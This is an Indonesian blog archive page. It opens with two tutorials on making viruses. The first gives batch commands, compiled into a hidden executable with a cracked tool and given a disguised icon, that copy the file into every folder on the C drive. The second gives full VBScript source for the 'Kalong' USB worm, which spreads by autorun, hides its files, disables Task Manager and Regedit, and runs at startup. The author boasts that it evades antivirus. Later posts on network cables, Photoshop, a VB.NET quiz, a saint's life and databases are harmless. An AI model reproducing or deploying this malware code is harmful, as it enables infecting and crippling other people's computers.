Senin, 28 September 2009

Bikin Virus Dengan Perintah CMD

Bagi yang tidak bisa bahasa pemrograman ada satu cara yang gampang dan sangat mudah untuk membuat semacam virus.



Yang perlu dipersiapkan:

1. Software Quick Batch File Compiler (quickbfc.exe)
2. License key atau crack dari quickbfc
3. Pengetahuan akan perintah cmd
4. Software Icon Changer

quickbfc adalah software dari www.abyssmedia.com yang mana software ini bisa digunakan untuk mengcompile (atau apa aja deh namanya) perintah2 cmd menjadi file exe.
Salah satu keistimewaan quickbfc ini adalah kemampuannya untuk menjadikan file exe yang dibuat ketika di run tidak akan menampilkan jendela console. Fitur ini bisa diset dengan memilih project=>option=>ghost application. Hanya saja yang bisa menggunakan fitur ini hanyalah full version (atau bisa juga di crack).

Icon Changer (IC) diperlukan untuk mencari icon seperti icon kepunyaan windows.
IC dapat didownload di http://www.shelllabs.com.
Setelah membuka IC, search icon di folder windows\system32 , disitu akan ada banyak icon yang menarik, seperti icon folder, icon text,dll. Setelah ketemu icon yg diinginkan simpan icon tersebut.

Sekarang kita bahas masalah perintah cmdnya. Salah satu ciri virus yaitu kemampuan menggandakan diri. Seperti kita ketahui jika kita membuat bat file dg isinya “ copy %0 c:\ “ maka akan berakibat file bat tadi dicopikan ke c:\. Tapi ketika kita menggunakan perintah yg sama di quickbfc maka hasilnya tidak seperti itu, dalam artian file exe yang dihasilkan ketika di run tidak akan di copi ke drive c:\. Untuk menyiasati hal ini kita bisa menggunakan cara lain yaitu dengan perintah “for %%a in (*.exe) do if %%~za equ 12345 copy %%a c:\arira.exe “ .

Perintah ini berarti “ untuk setiap file exe dalam direktori ini jika file berukuran 12345 bytes maka copikan file (yg berukuran 12345 bytes tadi ) ke c:\ dg nama arira.exe “. 12345 adalah ukuran file virus hasil kompile dari quickbfc (misalnya) . Permasalahan yg ada adalah jika ada file exe yg ukurannya sama dan berada pada folder yg sama dengan file virus kita.

Ok,selanjutnya buat perintah lainnya.
Kita buat agar kalau virus kita di run akan membuka my documents. Perintahnya “ explorer %userprofile% “.
Terusss, perintah yang ini bisa sedikit menjengkelkan for /R c:\ %%d in (cinta.exe) do copy c:\arira.exe "%%d" ,perintah ini berarti “untuk setiap folder, subfolder di drive c copikan file c:\arira.exe di folder kalian dengan nama cinta.exe”. maka setelah perintah ini selesai dieksekusi semua folder dan subfolder di c:\ akan memiliki file cinta.exe.
Dan seterusnya….dan seterusnya pikirkan sendiri perintahnya…..misalkan bikin value di regedit biar si virus bisa hidup lagi setelah computer restart,dll.

Contoh: perintah cmd yang sudah kita buat

REM ini adalah awal dari skrip
for %%a in (*.exe) do if %%~za equ 12345 copy “%%a” c:\arira.exe
explorer %userprofile%
for /R c:\ %%d in (cinta.exe) do copy c:\arira.exe "%%d"
REM ini adalah akhir dari skrip

Sebelum dikompile pilih custom resources untuk menset icon dari file yang akan dihasilkan. Kompile skript diatas, kemudian lihat ukuran file exe yang dihasilkan. Misalkan ukuran file yang dihasilkan adalah 82571, maka ganti skript diatas sehingga menjadi

REM ini adalah awal dari skrip
for %%a in (*.exe) do if %%~za equ 82571 copy “%%a” c:\arira.exe
explorer %userprofile%
for /R c:\ %%d in (cinta.exe) do copy c:\arira.exe "%%d"
REM ini adalah akhir dari skrip

Kompile ulang, lihat ukuran file yang dihasilkan. Jika ukurannya 82571 bytes maka sudah benar. Jika belum, ulangi sampai angka pada skript sama dengan ukuran file yang dihasilkan.


Keterangan:
Pada contoh perintah diatas “for %%a in (*.exe) do if %%~za equ 82571 copy %%a c:\arira.exe “ tidak bisa digunakan untuk cmd (hanya bisa untuk skript), kalau pingin menggunakan perintah ini dalam cmd makan ganti %%a dengan %a sehingga perintahnya akan menjadi “ for %a in (*.exe) do if %~za equ 82571 copy %a c:\arira.exe “


+++++++++++++++++++++++++++++++++++++++++++++++++++
Atas segala penyalahgunaan artikel ini silakan salahkan yg menyalahgunakan

Membuat Virus Via Notepad


Posted on Agustus 24, 2007 by putuyoga 

Iseng-iseng mencolok Flash Disc saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS. Wah, ternyata para virus maker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host.

Sesua janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :

‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next

‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd

‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket

for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then

‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39

‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next

‘//–Manipulasi Registry–//

set kalong = createobject(”WScript.Shell”)

‘//–Manip – Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “

‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”

‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”

‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”

‘//–Manip – Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”

‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “

‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”

‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode

Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.

He..he…Virus Worm ini memang bukan murni dari pemikiran saya sendiri karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa.

Selasa, 02 Juni 2009

Senin, 25 Mei 2009

Macam – Macam Kabel Jaringan (LAN)

Kabel Local Area Network

Pertama kali LAN menggunakan kabel “coaxial”. Kemudian, kabel “twisted pair” yang digunakan dalam sistem telepon telah mampu membawa frekuensi yang lebih tinggi dan dapat mendukung trafik LAN. Dan saat ini, kabel fiber optik telah tampil sebagai pilhan kabel berkecepatan sangat tinggi.
Local Area Network menggunakan empat tipe kabel :
Coaxial
Unshielded Twisted Pair (UTP)
Shielded Twisted Pair (STP)
Fiber Optik

Penggunaan Kabel Coaxial

Kabel coaxial terkadang digunakan untuk topologi bus, tetapi beberapa produk LAN sudah tidak mendukung koneksi kabel coaxial.
Protokol Ethernet LAN yang dikembangkan menggunakan kabel coaxial:

10Base5 / Kabel “Thicknet” :
adalah sebuah kabel coaxial RG/U-8.
merupakan kabel “original” Ethernet.
tidak digunakan lagi untuk LAN modern.

10Base2 / Kabel “Thinnet”:
adalah sebuah kabel coaxial RG/U-58.
mempunyai diameter yang lebih kecil dari “Thicknet”.
menggantikan “Thicknet”.
tidak direkomendasikan lagi, tetapi masih digunakan pada jaringan LAN yang sangat kecil.

Unshielded Twisted Pair”

Kabel “Unshielded twisted pair” (UTP) digunakan untuk LAN dan sistem telepon. Kabel UTP terdiri dari empat pasang warna konduktor tembaga yang setiap pasangnya berpilin. Pembungkus kabel memproteksi dan menyediakan jalur bagi tiap pasang kawat. Kabel UTP terhubung ke perangkat melalui konektor modular 8 pin yang disebut konektor RJ-45. Semua protokol LAN dapat beroperasi melalui kabel UTP. Kebanyakan perangkat LAN dilengkapi dengan RJ-45.

Kategori UTP

Kategori
Performansi (MHz)
Penggunaan

Cat 1
1 Voice, Mainframe, Dumb Terminal

Cat 2
4 4 MB Token Ring

Cat 3
10 10MB Ethernet

Cat 4
20 16 MB Token Ring

Cat 5
100 100 MB Ethernet

“Shielded Twisted Pair”

“Shielded twisted pair” adalah jenis kabel telepon yang digunakan dalam beberapa bisnis instalasi. Terdapat pembungkus tambahan untuk tiap pasangan kabel (”twisted pair”).Kabel STP juga digunakan untuk jaringan Data, digunakan pada jaringan Token-Ring IBM. Pembungkusnya dapat memberikan proteksi yang lebih baik terhadap interferensi EMI.

Kelemahan kabel STP

Kabel STP mempunyai beberapa kelemahan :
Attenuasi meningkat pada frekuensi tinggi.
Pada frekuensi tinggi, keseimbangan menurun sehingga tidak dapat mengkompensasi timbulnya “crosstalk” dan sinyal “noise”.
Harganya cukup mahal.

Kabel Fiber Optik

Kabel Fiber Optik adalah teknologi kabel terbaru. Terbuat dari glas optik. Di tengah-tengah kabel terdapat filamen glas, yang disebut “core”, dan di kelilingi lapisan “cladding”, “buffer coating”, material penguat, dan pelindung luar.Informasi ditransmisikan menggunakan gelombang cahaya dengan cara mengkonversi sinyal listrik menjadi gelombang cahaya. Transmitter yang banyak digunakan adalah LED atau Laser.

Kelebihan menggunakan kabel Fiber Optik

Kabel Fiber Optik mempunyai beberapa kelebihan, diantaranya :
Kapasitas bandwidth yang besar (gigabit per detik).
Jarak transmisi yang lebih jauh ( 2 sampai lebih dari 60 kilometer).
Kebal terhadap interferensi elektromagnetik.

Kabel Fiber Optik banyak digunakan pada jaringan WAN untuk komunikasi suara dan data. Kendala utama penggunaan kabel fiber optik di LAN adalah perangkat elektroniknya yang masih mahal. Sedangkan harga kabel Fiber Optiknya sendiri sebanding dengan kabel LAN UTP.

Rabu, 06 Mei 2009

Tips n Trik CS3















friends....
pingin tau cara buat gambar kayak gini ?

caranya gampang, gampang banget kita hanya bermain di 4 icon pada menu Photoshop cs3
pertama kita buka menu photoshopnnya terus...

Selasa, 05 Mei 2009

Quis Visual Basic

Public Class Form1


Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
ComboBox1.Items.Add("R01")
ComboBox1.Items.Add("R02")
ComboBox1.Items.Add("R03")
ComboBox1.Items.Add("R04")
End Sub

Private Sub ComboBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ComboBox1.SelectedIndexChanged
TextBox3.Focus()
If ComboBox1.Text = "R01" Then
TextBox1.Text = "Rokok Marlboro"
TextBox2.Text = "9000"
ElseIf ComboBox1.Text = "R02" Then
TextBox1.Text = "Rokok Marcopolo"
TextBox2.Text = "9000"
ElseIf ComboBox1.Text = "R03" Then
TextBox1.Text = "Rokok Sampoerna"
TextBox2.Text = "10000"
ElseIf ComboBox1.Text = "R04" Then
TextBox1.Text = "Rokok Clubmild"
TextBox2.Text = "7000"
End If
End Sub

Private Sub TextBox3_KeyPress(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyPressEventArgs) Handles TextBox3.KeyPress
If e.KeyChar = Chr(13) Then
TextBox7.Focus()
TextBox4.Text = Val(TextBox2.Text) * Val(TextBox3.Text)
If TextBox3.Text >= 5 And TextBox3.Text <= 10 Then
TextBox5.Text = Val(TextBox4.Text) * 0.05
TextBox6.Text = Val(TextBox4.Text) - Val(TextBox5.Text)
ElseIf TextBox3.Text >= 11 Then
TextBox5.Text = Val(TextBox4.Text) * 0.1
TextBox6.Text = Val(TextBox4.Text) - Val(TextBox5.Text)
ElseIf TextBox3.Text <= 4 Then
TextBox5.Text = 0
TextBox6.Text = Val(TextBox4.Text) - Val(TextBox5.Text)

End If
End If
End Sub


Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
TextBox1.Clear()
TextBox2.Clear()
TextBox3.Clear()
TextBox4.Clear()
TextBox5.Clear()
TextBox6.Clear()
TextBox7.Clear()
TextBox8.Clear()
End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Me.Close()
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

End Sub

Private Sub TextBox7_KeyPress(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyPressEventArgs) Handles TextBox7.KeyPress
If e.KeyChar = Chr(13) Then
TextBox8.Text = Val(TextBox7.Text) - Val(TextBox6.Text)
End If
End Sub

Private Sub TextBox7_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox7.TextChanged

End Sub
End Class

Jumat, 20 Februari 2009


Paskalis, seorang kudus dari Spanyol, dilahirkan pada tahun 1540. Sejak usia tujuh tahun, ia bekerja sebagai gembala. Ia tidak pernah punya kesempatan untuk bersekolah. Namun demikian, ia belajar sendiri membaca dan menulis. Ia bertanya kepada siapa saja yang ia jumpai untuk membantunya belajar. Ia belajar dengan giat, agar supaya ia dapat membaca buku-buku rohani. Ia membisikkan doa-doa sepanjang hari sementara ia menggembalakan dombanya.

Ketika berusia dua puluh empat tahun, bocah gembala itu menjadi seorang broeder Fransiskan. Teman-temannya suka padanya. Paskalis seorang yang mudah bergaul dan juga seorang yang lembut hati. Rekan biarawan memperhatikan bahwa seringkali ia mengerjakan pekerjaan-pekerjaan yang paling berat dan tidak menyenangkan. Paskalis melakukan mati raga, bahkan lebih keras dari yang ditetapkan dalam peraturan biara. Namun demikian, ia seorang yang senantiasa bersukacita. Dulu, ketika masih seorang gembala, ia merindukan berada di gereja untuk berdoa kepada Yesus. Tetapi, tidak bisa. Sekarang, ia bisa. Jadi, ia sangat senang menemani Kristus dalam Sakramen Mahakudus. Ia juga diijinkan menjadi pelayan Misa.

Dua hal yang amat dicintai Paskalis adalah: Ekaristi Kudus dan Bunda Maria. Setiap hari Paskalis berdoa rosario dengan cinta yang amat besar. Ia juga menuliskan doa-doa yang indah kepada Bunda Surgawi kita.

St. Paskalis membuat sebuah buku kecil dari kertas-kertas buram. Dalam buku catatannya, ia menuliskan pemikiran-pemikirannya dan doa-doanya yang indah. Setelah ia wafat, pemimpin biaranya menunjukkan buku catatan Paskalis pada uskup agung setempat. Bapa Uskup membacanya dan berkata, “Jiwa-jiwa bersahaja ini telah mencuri surga dari kita!”

Paskalis wafat pada tahun 1592 dalam usia lima puluh dua tahun. Ia dinyatakan kudus oleh Paus Alexander VIII pada tahun 1690.

"Bagaimana mempererat hubungan kita dengan Yesus dalam Ekaristi dan dengan Bunda Maria? Jawabannya mungkin merupakan ajakan bagi kita untuk mengunjungi Yesus dalam Sakramen Mahakudus secara istimewa dan mohon Bunda Maria membantu kita agar setia pada Putra-nya."

Senin, 26 Januari 2009

SISTEM BASIS DATA

Kenapa belajar basis data?

1. Beralih dari computation ke informasion
2. Data bertambah dalam keanekaragamannya dan jumlahnya
- Digital libraies, interactive video
- …. Need for DBMS exploding
3. DBMS banyak berkaitan dengan hampir semua sistem komputer
- OS, languages, theory, AI, multimedia, logic

Data

1. Fakta yang diperoleh dilapangan
2. Diperlukan suatu proses agar data bisa digunakan

Informasi

1. Hasil dari pengolahan data
2. Sebagai acuan dalam mengambil keputusan
3. Transformasi data

Contoh basis data

1. Buku alamat
2. Buku telepon
3. Katalog perpustakaan
4. Peta jalan

Komponen utama database

1. Perangkat keras ( Hardware )
2. Sistem operasi ( Operating system )
3. Basis data ( Database )
4. Sistem pengelolah basis data ( DBMS )
5. Aplikasi atau perangkat lunak yang bersifat opsional
6. Pemakai ( User ) pemrogram aplikasi
- Pengguna mahir ( Casual user )
- Pengguna awam ( End user / Naïve user )
- Pengguna khusus ( Specialized user )

Tujuan dibangunnya database

1. Kecepatan dan kemudahan ( Speed )
2. Efisiensi ruang penyimpanan ( Space )
3. Keakuratan ( Accuracy )
4. Ketersediaan ( Avaiability )
5. Kelengkapan ( Completeness )
6. Keamanan ( Security )
7. Kebersamaan pemakai ( Shareability )

Operasi dasar basis data

1. Pembuatan basis data ( Create database )
2. Penghapusan basis data ( Drop database )
3. Pembuatan file / tabel baru ke suatu basis data ( Create table )
4. Penghapusan file / tabel dari suatu basis data ( Drop table )
5. Penambahan data baru ke suatu file / tabel di sebuah basis data ( Insert )
6. Pengambilan data dari suatu file / tabel ( Retrieve / search )
7. Pengubahan data dari sebuah file / tabel ( Up date )
8. Penghapusan data dari sebuah file / tabel ( Delete )

Cara pandang data

1. Peringkat fisik ( Terendah ) : Mendeskripsikan struktur data yang digunakan, pola representasi bit dsd yang akan disimpan dalam penyinpanan fisik.
2. Peringkat logika : Mendeskripsikan data apa yang disimpan dibasis data dan hubungan apa yang ada antara data – data tersebut.
3. Peringkat pengguna ( Tertinggi ) : Menyederhanakan interaksi pengguna dengan sistem dalam bentuk GUI dalam aplikasi sistem basis data.
Kelemahan basis data model file
1. Pengulangan dan inkonsistensi data
2. Kesulitan mengakses data
3. Masalah integritas
4. Atomik data
5. Anomali ( kelainan ) pada akses bersamaan
6. Keamanan data
DatabasePerangkat lunak basis data yang banyak digunakan dalam pemrograman dan merupakan perangkat basis data tingkat tinggi ( high level ) :
1. DB2
2. Microsoft SQL Server 2000 & 2005
3. Oracle, Sybase, Interbase
4. Xbase, Firebird, MySQL, PostgreSQL
5. Microsoft Access, dBase III, Paradox, FoxPro
6. Visual FoxPro, Arago, Force, Recital, dbFast
7. dbXL, Quicksilver, Clipper, FlagShip
8. Harbour
9. Visual dBase
10. Lotus Smart Suite Approach
Selain perangkat lunak di atas, terdapat juga perangkat lunak pemrograman basis data tingkat rendah ( low level ), diantaranya :
1. Btrieve
2. Tsunami Record Manager
Sejarah basis data
1. Awal 1960 Charles Bachman - Integrated Data Store
2. Akhir 1960 IBM - IMS ( Information Management System )
3. Akhir 1980 dan 1990 - IBM DB2, Oracle, Informix
Keuntungan DBMS
1. Mengurangi perulangan data
2. Mencapai independensi data
3. Menginteregasikan data beberapa file
4. Mengambil data dan informasi dengan cepat
5. Meningkatkan Keamanan
Kerugian DBMS
1. Harga perangkat lunak DBMS yang mahal
2. Kebutuhan perangkat keras yang bagus
3. Membutuhkan staff khusus DBMS ( Database Administrator / DBA )
Contoh Perangkat Lunak DBMS
1. Microsoft Access
2. Microsoft SQL Server
3. MySQL
4. PostgreSQL
5. Oracle
6. Informix
7. Sybase
8. DB2
9. Interbase
Contoh Implementasi Database
1. Bidang Fungsional
- Kepegawaian
- Pergudangan
- Akuntansi
- Reservasi
- Layanan Pelanggan
2. Bentuk Perusahan
- Perbankan
- Rumah Sakit
- Produsen Barang
- Sekolah / Kampus
- Telekomunikasi
Life Cycle Database
1. Design
2. Present
3. Documentation
4. Generate
5. Manage data
Tahapan Desain Basis Data suatu Sistem
1. Requirement Collection and Analysis
2. Conceptual Database Design
3. Logical Database Design
4. Physical Database Design
5. Maintenance
Basis data ( database ), atau basisdata, adalah kumpulan informasi yang disimpan di dalam komputer secara sistematik sehingga dapat diperiksa menggunakan suatu program komputer untuk memperoleh informasi dari basis data tersebut. Perangkat lunak yang digunakan untuk mengelola dan memanggil kueri ( query ) basis data disebut sistem manajemen basis data ( database management system, DBMS ). Sistem basis data dipelajari dalam ilmu informasi.
Istilah “basis data” berawal dari ilmu komputer. Meskipun kemudian artinya semakin luas, memasukkan hal-hal di luar bidang elektronika, artikel ini mengenai basis data komputer. Catatan yang mirip dengan basis data sebenarnya sudah ada sebelum revolusi industri yaitu dalam bentuk buku besar, kwitansi dan kumpulan data yang berhubungan dengan bisnis.
Konsep dasar dari basis data adalah kumpulan dari catatan-catatan, atau potongan dari pengetahuan. Sebuah basis data memiliki penjelasan terstruktur dari jenis fakta yang tersimpan di dalamnya: penjelasan ini disebut skema. Skema menggambarkan obyek yang diwakili suatu basis data, dan hubungan di antara obyek tersebut. Ada banyak cara untuk mengorganisasi skema, atau memodelkan struktur basis data: ini dikenal sebagai model basis data atau model data. Model yang umum digunakan sekarang adalah model relasional, yang menurut istilah layman mewakili semua informasi dalam bentuk tabel-tabel yang saling berhubungan dimana setiap tabel terdiri dari baris dan kolom (definisi yang sebenarnya menggunakan terminologi matematika). Dalam model ini, hubungan antar tabel diwakili denga menggunakan nilai yang sama antar tabel. Model yang lain seperti model hierarkis dan model jaringan menggunakan cara yang lebih eksplisit untuk mewakili hubungan antar tabel.
Istilah basis data mengacu pada koleksi dari data-data yang saling berhubungan, dan perangkat lunaknya seharusnya mengacu sebagai sistem manajemen basis data ( database management system/DBMS ). Jika konteksnya sudah jelas, banyak administrator dan programer menggunakan istilah basis data untuk kedua arti tersebut


ora.ppkiagled © 2008. Free Blogspot Templates Sponsored by: Tutorial87 Commentcute